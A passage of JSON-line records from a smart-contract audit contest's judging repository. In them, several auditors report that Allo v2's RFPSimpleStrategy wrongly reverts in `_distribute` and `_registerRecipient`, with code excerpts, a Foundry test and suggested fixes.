Shell\n\nmedium\n\n# The distribute function in RFPSimpleStrategy.sol might fail due to lacking funds even when there are enough funds\n\nThe distribute function in RFPSimpleStrategy.sol might fail dur to lacking funds even when there are enough funds. \n\n## Vulnerability Detail\n\nThe function _distribute always fails when recipient.proposalBid is greater than poolAmount, even though the actual amount paid is less the recipient.proposalBid. This could create situations where the amount that should be paid is less than poolAmount, thus payable by the contract, but the function fails.\n\n## Impact\n\nThe contract could fail to pay recipients in many legitimate situations.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L432\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nUse the amount variable set in the next line for the comparison instead of recipient.proposalBid.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//006-M/121.md"}} +{"title":"RFP payment cannot be fulfilled because of a validation in `_distribute`","severity":"medium","body":"Clumsy Pecan Jay\n\nhigh\n\n# RFP payment cannot be fulfilled because of a validation in `_distribute`\n\nThe `_distribute` function checks if the `proposalBid` of the recipient is higher then the `poolAmount`.\nHowever, in every distribution for a milestone the `poolAmount` is decreased while `proposalBid` is not. \nThis puts the contract in an insolvant state that it cannot payout the rewards for the RFP even if there are sufficient funds. \n\n## Vulnerability Detail\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L417\n```solidity\n function _distribute(address[] memory, bytes memory, address _sender)\n internal\n virtual\n override\n onlyInactivePool\n onlyPoolManager(_sender)\n {\n-----\n // make sure has enough funds to distribute based on the proposal bid\n if (recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS();\n-----\n // Get the pool, subtract the amount and transfer to the recipient\n poolAmount -= amount;\n-----\n }\n```\n\nAs can be seen in the above `_distribute` function - every time it is called there is a check to see if `recipient.proposalBid > poolAmount)`.\n\n* `recipient.proposalBid` - Stays the same. This is the original `proposalBid` of the accepted recipient.\n* `poolAmount` - Decreases by the amount of distribution on every call to `_distribute`\n\nBecause `poolAmount` is decreased and `recipient.proposalBid` is not - after a few calls to distribute funds to accepted milestone submission it will not be possible anymore and the contract will not be able to pay for the submission.\n\n## Impact\n\nProtocol insolvency \n\n## Code Snippet\n\nAdd the following test to `RFPSimpleStrategy.t.sol`\n```solidity\n function test_cannotDistributePayment() external {\n uint256 poolTotalBeforeFee = 100 ether;\n uint256 percentFee = (poolTotalBeforeFee * 1e16) / 1e18;\n uint256 poolTotal = poolTotalBeforeFee - percentFee;\n\n // Fund pool with ~100 ether\n vm.deal(pool_admin(), 100 ether);\n vm.prank(pool_admin());\n allo().fundPool{value: poolTotalBeforeFee}(poolId, poolTotalBeforeFee);\n\n // Increase max bid to ~100 ether\n vm.prank(pool_admin());\n strategy.increaseMaxBid(poolTotal);\n\n // Register with proposalBid of ~100 ether\n address sender = recipient();\n Metadata memory metadata = Metadata({protocol: 1, pointer: \"metadata\"});\n bytes memory data = abi.encode(recipientAddress(), false, poolTotal, metadata);\n vm.prank(address(allo()));\n address recipientIdReceived = strategy.registerRecipient(data, sender);\n\n // Set Milestones (two)\n __setMilestones();\n\n // Allocate\n vm.prank(address(allo()));\n strategy.allocate(abi.encode(recipientIdReceived), address(pool_admin()));\n\n // Submit milestone #1\n vm.prank(recipient());\n strategy.submitUpcomingMilestone(Metadata({protocol: 1, pointer: \"metadata\"}));\n\n // Distribute\n vm.prank(address(allo()));\n strategy.distribute(new address[](0), \"\", pool_admin());\n\n // Submit milestone #2\n vm.prank(recipient());\n strategy.submitUpcomingMilestone(Metadata({protocol: 1, pointer: \"metadata\"}));\n\n // Distribute (this time will revert with NOT_ENOUGH_FUNDS)\n vm.prank(address(allo()));\n vm.expectRevert(NOT_ENOUGH_FUNDS.selector);\n strategy.distribute(new address[](0), \"\", pool_admin());\n }\n```\n\nTo execute the test run the command:\n```solidity\nforge test --match-test \"test_cannotDistributePayment\" -v \n```\n\nExpected output:\n```solidity\nRunning 1 test for test/foundry/strategies/RFPSimpleStrategy.t.sol:RFPSimpleStrategyTest\n[PASS] test_cannotDistributePayment() (gas: 611834)\nTest result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.77ms\n \nRan 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)\n```\n## Tool used\n\nManual Review\n\n## Recommendation\n\nEither decrease `proposalBid` by the amount paid or track the previous amount paid in a new mapping and add it to the if statement","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//006-M/115.md"}} +{"title":"Distribution not possible in some cases","severity":"medium","body":"Brief Silver Porcupine\n\nmedium\n\n# Distribution not possible in some cases\nDistributing is not working in some cases because milestone percentage is not taken into consideration when checking if the pool has enough funds for the distribution.\n\n## Vulnerability Detail\nIn **RFPSimpleStrategy**, the [_distribute](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L417-L450) function calculates the amount to be distributed based on a milestone percentage and proposalBid. The function checks if the pool has enough funds to execute the distribution. However, the [check](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L432) is wrong. \n\nIt checks the whole proposalBid, not taking the milestone percentage into consideration. This is problematic for cases where the **proposalBid** is higher than the **poolAmount**, but the final payout is smaller than the **poolAmount**.\n\nImagine the following scenario: \n 1. The pool has 1000 tokens.\n 2. Distribution should happen at 2 milestones (80% and 20%)\n 3. Bob the recipient has **proposalBid** 800\n 4. At the first milestone 800 < 1000 (proposalBid < poolAmount), so the distribution will be successfull.\n 5. At the second milestone 800 > 360 (proposalBid > poolAmount), the distribution will fail, even though the poolAmount is 360 and the amount for distribution at the milestone is 160.\n\n## Impact\nDistribution will not work.\n\n## Code Snippet\n```jsx\n function _distribute(address[] memory, bytes memory, address _sender)\n internal\n virtual\n override\n onlyInactivePool\n onlyPoolManager(_sender)\n {\n // check to make sure there is a pending milestone\n if (upcomingMilestone >= milestones.length) revert INVALID_MILESTONE();\n\n IAllo.Pool memory pool = allo.getPool(poolId);\n Milestone storage milestone = milestones[upcomingMilestone];\n Recipient memory recipient = _recipients[acceptedRecipientId];\n\n // make sure has enough funds to distribute based on the proposal bid\n if (recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS();\n\n // Calculate the amount to be distributed for the milestone\n uint256 amount = (recipient.proposalBid * milestone.amountPercentage) / 1e18;\n\n // Get the pool, subtract the amount and transfer to the recipient\n poolAmount -= amount;\n _transferAmount(pool.token, recipient.recipientAddress, amount);\n\n // Set the milestone status to 'Accepted'\n milestone.milestoneStatus = Status.Accepted;\n\n // Increment the upcoming milestone\n upcomingMilestone++;\n\n // Emit events for the milestone and the distribution\n emit MilestoneStatusChanged(upcomingMilestone, Status.Accepted);\n emit Distributed(acceptedRecipientId, recipient.recipientAddress, amount, _sender);\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nRemove the if statement. The contract uses solidity version **0.8.19**, so the compiler will do the needed check for us.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//006-M/099.md"}} +{"title":"RFPSimpleStrategy: submitting proposal will always revert","severity":"medium","body":"Micro Heather Rabbit\n\nhigh\n\n# RFPSimpleStrategy: submitting proposal will always revert\n\nSubmitting proposal will always revert in case of `useRegistryAnchor` flag is true due to the check at the line L#362\n\n## Vulnerability Detail\n\nThere is a check which reverts when `recipientAddress == address(0)` at the line L#362 in the `RFPSimpleStrategy._registerRecipient` function. But the `recipientAddress` variable is always zero when `useRegistryAnchor` flag is true. So the `_registerRecipient` function will always revert and the contract functionality will be broken.\n```solidity\n321 address recipientAddress;\n\n326 // Decode '_data' depending on the 'useRegistryAnchor' flag\n327 if (useRegistryAnchor) {\n328 /// @custom:data when 'true' -> (address recipientId, uint256 proposalBid, Metadata metadata)\n329 (recipientId, proposalBid, metadata) = abi.decode(_data, (address, uint256, Metadata));\n330\n331 // If the sender is not a profile member this will revert\n332 if (!_isProfileMember(recipientId, _sender)) revert UNAUTHORIZED();\n333 } else {\n\n362 if (recipientAddress == address(0)) revert RECIPIENT_ERROR(recipientId);\n``` \n\n## Impact\n\nSubmitting proposal will always revert in case of `useRegistryAnchor` flag is true due to the check at the line L#362. The contract functionality will be broken.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L327-L362\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider adding a correct address to the `recipientAddress` variable if the `useRegistryAnchor` flag is true.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//005-M/940.md"}} +{"title":"the function will not work as intended","severity":"medium","body":"Short Coffee Crab\n\nhigh\n\n# the function will not work as intended\nin **RFPSimpleStrategy._registerRecipient** will always revert if **useRegistryAnchor** is set to true because **recipientAddress** is only initialized if **useRegistryAnchor** is set to false and in line 362 if **recipientAddress** is zero it will revert\n## Vulnerability Detail\nin the function registerRecipient if the useRegistryAnchor is set to true it will not decode the **recipientAddress** in line 362 if \n recipientAddress is zero it will revert \n## Impact\nthe function will not work \n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L362\n## Tool used\n\nManual Review\n\n## Recommendation\ndecode the recipientAddress","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//005-M/917.md"}} +{"title":"_registerRecipient will always revert in case useRegistryAnchor is set to false in rftCommitteeStrategy.sol","severity":"medium","body":"Flat Sapphire Platypus\n\nhigh\n\n# _registerRecipient will always revert in case useRegistryAnchor is set to false in rftCommitteeStrategy.sol\n_registerRecipient will always revert in case useRegistryAnchor is set to false in rftCommitteeStrategy.sol\n## Vulnerability Detail\nIn `_registerRecipient` function if the `useRegistryAnchor` is set to false we run into following code snippet:\n\n```solidity\n // @custom:data when 'false' -> (address recipientAddress, address registryAnchor, uint256 proposalBid, Metadata metadata)\n (recipientAddress, registryAnchor, proposalBid, metadata) =\n abi.decode(_data, (address, address, uint256, Metadata));\n\n // Check if the registry anchor is valid so we know whether to use it or not\n // we check if some registryAnchor is passed or not?\n isUsingRegistryAnchor = registryAnchor != address(0);\n\n // Ternerary to set the recipient id based on whether or not we are using the 'registryAnchor' or '_sender'\n recipientId = isUsingRegistryAnchor ? registryAnchor : _sender;\n\n // Checks if the '_sender' is a member of the profile 'anchor' being used and reverts if not\n if (isUsingRegistryAnchor && !_isProfileMember(recipientId, _sender)) revert UNAUTHORIZED();\n```\n\nHere we can see that the declared `recipientAddress` is never set and remain set to 0, but right after this else statemetn we check for zero address for recipient address and revert on following line:\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L362\n\nWhich will happen always in case the useRegistryAnchor is false which is not intended and user should be still allowed to register.\n## Impact\nFunction will not work as intended and the functionality will not work\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L314-L380\n## Tool used\n\nManual Review\n\n## Recommendation\nSet the recipientAddress in else condition too like other strategies.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//005-M/891.md"}} +{"title":"Setting useRegistryAnchor to true will result in `recipientAddress` always be address(0) in RfpSimpleStrategy","severity":"medium","body":"Blunt Carmine Lynx\n\nhigh\n\n# Setting useRegistryAnchor to true will result in `recipientAddress` always be address(0) in RfpSimpleStrategy\n\nDoS in the core function of one of the strategies, due to the wrong position of the if check.\n\n## Vulnerability Detail\n\nWhen a new pool with strategies of types `RfpSimple` or `RFPCommitteeStrategy` is created, there are properties set only in the `Initialize` function that **cannot be called more than once**. One of these properties is **useRegistryAnchor**, which is crucial when a user wants to use the `_registerRecipient` function in order to participate in the pool. So letā€™s look at the beginning of the mentioned function: \n\n```solidity\nsrc: allo-v2/contracts/strategies/rfp-simple/RfpSimpleStrategy.sol\n\n314: function _registerRecipient(bytes memory _data, address _sender)\n\tinternal\n\toverride\n\tonlyActivePool\n\treturns (address recipientId)\n{\n\tbool isUsingRegistryAnchor;\n\t//@audit default value is address(0)\n\taddress recipientAddress;\n\taddress registryAnchor;\n\tuint256 proposalBid;\n\tMetadata memory metadata;\n\n\t// Decode '_data' depending on the 'useRegistryAnchor' flag\n\tif (useRegistryAnchor) {\n\t /// @custom:data when 'true' -> (address recipientId, uint256 proposalBid, Metadata metadata)\n\t (recipientId, proposalBid, metadata) = abi.decode(_data, (address, uint256, Metadata));\n\t\n\t // If the sender is not a profile member this will revert\n\t if (!_isProfileMember(recipientId, _sender)) revert UNAUTHORIZED();\n\t}\n\n```\n\nAs we can see there are variables initialized with their default values and for **recipientAddress it is address(0).** When we look at the body inside the **if check** that will be executed when **useRegistryAnchor = true,** we can see that `recipientAddress` doesn't change at all, it's still the address(0)**.** Now letā€™s look at the rest of the `_registerRecipient` function and especially another **if check on line 362:** \n\n```solidity\nif (recipientAddress == address(0)) revert RECIPIENT_ERROR(recipientId)\n```\n\nAs we acknowledged in from the statement above **recipientAddress** wonā€™t be any other address than address(0), so `_registerRecipient` will revert every time, and the fact that **useRegistryAnchor** cannot be changed, makes the whole pool unusable.\n\n## Impact\n\nDenial of service in the core function of the RfpSimpleStrategy, because of the variable being address(0) and there is a if check for the same case later in the function.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L307-L380\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider moving the recipientAddress check to the if statement.\n\n```diff\n/// @notice Submit a proposal to RFP pool\n/// @dev Emits a 'Registered()' event\n/// @param _data The data to be decoded\n/// @custom:data when 'useRegistryAnchor' is 'true' -> (address recipientId, uint256 proposalBid, Metadata metadata)\n/// when 'useRegistryAnchor' is 'false' -> (address recipientAddress, address registryAnchor, uint256 proposalBid, Metadata metadata)\n/// @param _sender The sender of the transaction\n/// @return recipientId The id of the recipient\nfunction _registerRecipient(bytes memory _data, address _sender)\n internal\n override\n onlyActivePool\n returns (address recipientId)\n{\n bool isUsingRegistryAnchor;\n address recipientAddress;\n address registryAnchor;\n uint256 proposalBid;\n Metadata memory metadata;\n\n // Decode '_data' depending on the 'useRegistryAnchor' flag\n if (useRegistryAnchor) {\n /// @custom:data when 'true' -> (address recipientId, uint256 proposalBid, Metadata metadata)\n (recipientId, proposalBid, metadata) = abi.decode(_data, (address, uint256, Metadata));\n\n // If the sender is not a profile member this will revert\n if (!_isProfileMember(recipientId, _sender)) revert UNAUTHORIZED();\n } else {\n // @custom:data when 'false' -> (address recipientAddress, address registryAnchor, uint256 proposalBid, Metadata metadata)\n (recipientAddress, registryAnchor, proposalBid, metadata) =\n abi.decode(_data, (address, address, uint256, Metadata));\n\n+ // If the recipient address is the zero address this will revert\n+ if (recipientAddress == address(0)) revert RECIPIENT_ERROR(recipientId);\n\n // Check if the registry anchor is valid so we know whether to use it or not\n isUsingRegistryAnchor = registryAnchor != address(0);\n\n // Ternerary to set the recipient id based on whether or not we are using the 'registryAnchor' or '_sender'\n recipientId = isUsingRegistryAnchor ? registryAnchor : _sender;\n\n // Checks if the '_sender' is a member of the profile 'anchor' being used and reverts if not\n if (isUsingRegistryAnchor && !_isProfileMember(recipientId, _sender)) revert UNAUTHORIZED();\n }\n\n // Check if the metadata is required and if it is, check if it is valid, otherwise revert\n if (metadataRequired && (bytes(metadata.pointer).length == 0 || metadata.protocol == 0)) {\n revert INVALID_METADATA();\n }\n\n if (proposalBid > maxBid) {\n // If the proposal bid is greater than the max bid this will revert\n revert EXCEEDING_MAX_BID();\n } else if (proposalBid == 0) {\n // If the proposal bid is 0, set it to the max bid\n proposalBid = maxBid;\n }\n\n- // If the recipient address is the zero address this will revert\n- if (recipientAddress == address(0)) revert RECIPIENT_ERROR(recipientId);\n\n // Get the recipient\n Recipient storage recipient = _recipients[recipientId];\n\n if (recipient.recipientStatus == Status.None) {\n // If the recipient status is 'None' add the recipient to the '_recipientIds' array\n _recipientIds.push(recipientId);\n emit Registered(recipientId, _data, _sender);\n } else {\n emit UpdatedRegistration(recipientId, _data, _sender);\n }\n\n // update the recipients data\n recipient.recipientAddress = recipientAddress;\n recipient.useRegistryAnchor = isUsingRegistryAnchor ? true : recipient.useRegistryAnchor;\n recipient.proposalBid = proposalBid;\n recipient.recipientStatus = Status.Pending;\n}\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//005-M/817.md"}} +{"title":"`_registerRecipient` in the `RFPSimpleStrategy.sol` will revert 100% if `useRegistryAnchor` is true","severity":"medium","body":"Cheery Cedar Gecko\n\nhigh\n\n# `_registerRecipient` in the `RFPSimpleStrategy.sol` will revert 100% if `useRegistryAnchor` is true\nThe function `_registerRecipient` which is used to register new recipients in `RFPSimpleStrategy` will revert all the time when `useRegistryAnchor` is set to true, which will make the whole strategy unusable.\n## Vulnerability Detail\nAs can be seen the function `_registerRecipient` first check if `useRegistryAnchor` is true or not and will decode the data used in the call different in both situations\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L327-L346\nAfter that it will do other checks on metadata \nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L349-L351\n`proposalBid` \nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L353-L359\nand in the end for the `recipientAddress`\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L361-L362\nThe problem relies in the fact that if the `useRegistryAnchor` is true there is no updates on the `recipientAddress` varibales, as can be seen here, when `abi.decode` is called \nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L327-L332\nso when it will get to the `recipientAddress` check, the `if` statement will always be true since `recipientAddress` is not updated anywhere and will be `address(0)`\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L362\nBecause of that no recipient can be registered if `useRegistryAnchor` global variable is set to true.\n## Impact\nImpact is a high one since the whole logic of the contract would fail by not letting the recipients register.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L326-L332\n## Tool used\n\nManual Review\n\n## Recommendation\nUpdate the `recipientAddress` variable when you use `abi.decode` so the `if` statement would not be true and revert.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//005-M/798.md"}} +{"title":"User Registration Failure When useRegistryAnchor is Enabled","severity":"medium","body":"Fierce Pearl Falcon\n\nmedium\n\n# User Registration Failure When useRegistryAnchor is Enabled\n\nThe RFPSimpleStrategy contract exhibits a critical flaw in user registration when the `useRegistryAnchor` flag is set to `true`, making it impossible for users to register as recipients.\n\n## Vulnerability Detail\n\nIn `RFPSimpleStrategy` contract, when a user register as a recipient, it call the function `_registerRecipient`. \n\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L314-L380\n\nWithin the `_registerRecipient` function in the `RFPSimpleStrategy` contract, a conditional statement exists to evaluate whether the `useRegistryAnchor` flag is active.\n\n if (useRegistryAnchor) { \n /// @custom:data when 'true' -> (address recipientId, uint256 proposalBid, Metadata metadata)\n (recipientId, proposalBid, metadata) = abi.decode(_data, (address, uint256, Metadata));\n\n // If the sender is not a profile member this will revert\n if (!_isProfileMember(recipientId, _sender)) revert UNAUTHORIZED();\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L327-L332\n\nThe function neglects to assign a value to `recipientAddress`. This omission leads to a later part of the function which checks for a zero address and reverts the transaction if found.\n\n // If the recipient address is the zero address this will revert\n if (recipientAddress == address(0)) revert RECIPIENT_ERROR(recipientId); \n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L362\n\n\n## Impact\n\nThis flaw disrupts the fundamental utility of the contract. It prevents users from successfully registering as recipients when the `useRegistryAnchor` flag is active, effectively breaking this feature.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L327-L332\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L362\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAssign the recipientAddress to the address of recipientId or another address.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//005-M/796.md"}} +{"title":"`RFPSimpleStrategy.sol`: `recipientAddress` is not initialized, could cause `_registerRecipient` to revert","severity":"medium","body":"Best Porcelain Wolverine\n\nhigh\n\n# `RFPSimpleStrategy.sol`: `recipientAddress` is not initialized, could cause `_registerRecipient` to revert\nThe `recipientAddress` is not initialized when `useRegistryAnchor` is true, which could cause `_registerRecipient` to revert.\n\n## Vulnerability Detail\nWhen `useRegistryAnchor` is true, the `recipientAddress` will not be initialized. \nIf the recipient address is the zero address, `_registerRecipient` will revert. \n\n```solidity\n function _registerRecipient(bytes memory _data, address _sender)\n internal\n override\n onlyActivePool\n returns (address recipientId)\n {\n bool isUsingRegistryAnchor;\n address recipientAddress;\n address registryAnchor;\n uint256 proposalBid;\n Metadata memory metadata;\n\n // Decode '_data' depending on the 'useRegistryAnchor' flag\n if (useRegistryAnchor) {\n /// @custom:data when 'true' -> (address recipientId, uint256 proposalBid, Metadata metadata)\n (recipientId, proposalBid, metadata) = abi.decode(_data, (address, uint256, Metadata));\n\n // If the sender is not a profile member this will revert\n if (!_isProfileMember(recipientId, _sender)) revert UNAUTHORIZED();\n } else {\n ...\n }\n ...\n // If the recipient address is the zero address this will revert\n if (recipientAddress == address(0)) revert RECIPIENT_ERROR(recipientId);\n ...\n }\n```\n\n## Impact\n`_registerRecipient` will always revert when the useRegistryAnchor is true.\n\n## Code Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/main/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L327-L332\n\n## Tool used\n\nManual Review\n\n## Recommendation\nInitialize the `recipientAddress` properly.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//005-M/765.md"}} +{"title":"`RFPSimpleStrategy._registerRecipient` always reverts if `useRegistryAnchor` is true","severity":"medium","body":"Clever Metal Giraffe\n\nhigh\n\n# `RFPSimpleStrategy._registerRecipient` always reverts if `useRegistryAnchor` is true\n\n`RFPSimpleStrategy._registerRecipient` will be called when doing registration. However,\nif `useRegistryAnchor` is true, `RFPSimpleStrategy._registerRecipient` always reverts.\n\n## Vulnerability Detail\n\n\nIf `useRegistryAnchor` is true, `RFPSimpleStrategy._registerRecipient` wonā€™t set `recipientAddress`. But there is a check on `recipientAddress`. If `recipientAddress == address(0)`, `RFPSimpleStrategy._registerRecipient` reverts.\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L362\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L329\n```solidity\n function _registerRecipient(bytes memory _data, address _sender)\n internal\n override\n onlyActivePool\n returns (address recipientId)\n {\n bool isUsingRegistryAnchor;\n address recipientAddress;\n address registryAnchor;\n uint256 proposalBid;\n Metadata memory metadata;\n\n // Decode '_data' depending on the 'useRegistryAnchor' flag\n if (useRegistryAnchor) {\n /// @custom:data when 'true' -> (address recipientId, uint256 proposalBid, Metadata metadata)\n (recipientId, proposalBid, metadata) = abi.decode(_data, (address, uint256, Metadata));\n\n // If the sender is not a profile member this will revert\n if (!_isProfileMember(recipientId, _sender)) revert UNAUTHORIZED();\n } else {\n // @custom:data when 'false' -> (address recipientAddress, address registryAnchor, uint256 proposalBid, Metadata metadata)\n (recipientAddress, registryAnchor, proposalBid, metadata) =\n abi.decode(_data, (address, address, uint256, Metadata));\n\n ā€¦\n\n\n // If the recipient address is the zero address this will revert\n if (recipientAddress == address(0)) revert RECIPIENT_ERROR(recipientId);\n\n ā€¦\n }\n```\n\n\n## Impact\n\nIf `useRegistryAnchor` is true, `RFPSimpleStrategy._registerRecipient` always reverts.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L362\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L329\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\n`recipientAddress` cannot be zero address since the funds will be distributed to the address.\n\n```diff\n function _registerRecipient(bytes memory _data, address _sender)\n internal\n override\n onlyActivePool\n returns (address recipientId)\n {\n bool isUsingRegistryAnchor;\n address recipientAddress;\n address registryAnchor;\n uint256 proposalBid;\n Metadata memory metadata;\n\n // Decode '_data' depending on the 'useRegistryAnchor' flag\n if (useRegistryAnchor) {\n /// @custom:data when 'true' -> (address recipientId, uint256 proposalBid, Metadata metadata)\n- (recipientId, proposalBid, metadata) = abi.decode(_data, (address, uint256, Metadata));\n+ (recipientId, recipientAddress, proposalBid, metadata) = abi.decode(_data, (address, address, uint256, Metadata));\n\n // If the sender is not a profile member this will revert\n if (!_isProfileMember(recipientId, _sender)) revert UNAUTHORIZED();\n }\n\n ā€¦\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//005-M/761.md"}} +{"title":"`useRegistryAnchor` is set as `true` in `RFPSimpleStrategy.sol` will brick the `_registerRecipient` function","severity":"medium","body":"Mini Garnet Squirrel\n\nmedium\n\n# `useRegistryAnchor` is set as `true` in `RFPSimpleStrategy.sol` will brick the `_registerRecipient` function\nIn the `RFPSimpleStrategy.sol` contract, if the `useRegistryAnchor` flag is initialized as `true`, the `_registerRecipient `function becomes unusable because the `recipientAddress` variable is not set, leading to a revert condition in the contract in the [line](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L362)\n\n## Vulnerability Detail\n\nThe vulnerability arises from the contract's initialization with the `useRegistryAnchor` flag set to `true`. When this flag is enabled, the `_registerRecipient` function expects data that includes the recipient's address. However, since the `useRegistryAnchor` flag is true, the recipient's address is not provided when calling this function. This results in the recipientAddress variable not being set, leading to a revert condition in the following line:\n```solidity\nif (recipientAddress == address(0)) revert RECIPIENT_ERROR(recipientId);\n\n```\nAs a result, the `_registerRecipient` function becomes unusable when the `useRegistryAnchor` flag is set to `true`.\n## Impact\nThis vulnerability makes it impossible to register new recipients when the `RFPSimpleStrategy.sol` contract is initialized with `useRegistryAnchor` set to `true`. It effectively bricks the `_registerRecipient` function, preventing the addition of new recipients to the strategy.\n## Code Snippet\n```solidity\nfunction _registerRecipient(bytes memory _data, address _sender)\n internal\n override\n onlyActivePool\n returns (address recipientId)\n {\n bool isUsingRegistryAnchor;\n address recipientAddress;\n address registryAnchor;\n uint256 proposalBid;\n Metadata memory metadata;\n\n // Decode '_data' depending on the 'useRegistryAnchor' flag\n if (useRegistryAnchor) {\n /// @custom:data when 'true' -> (address recipientId, uint256 proposalBid, Metadata metadata)\n (recipientId, proposalBid, metadata) = abi.decode(_data, (address, uint256, Metadata));\n\n // If the sender is not a profile member this will revert\n if (!_isProfileMember(recipientId, _sender)) revert UNAUTHORIZED();\n } 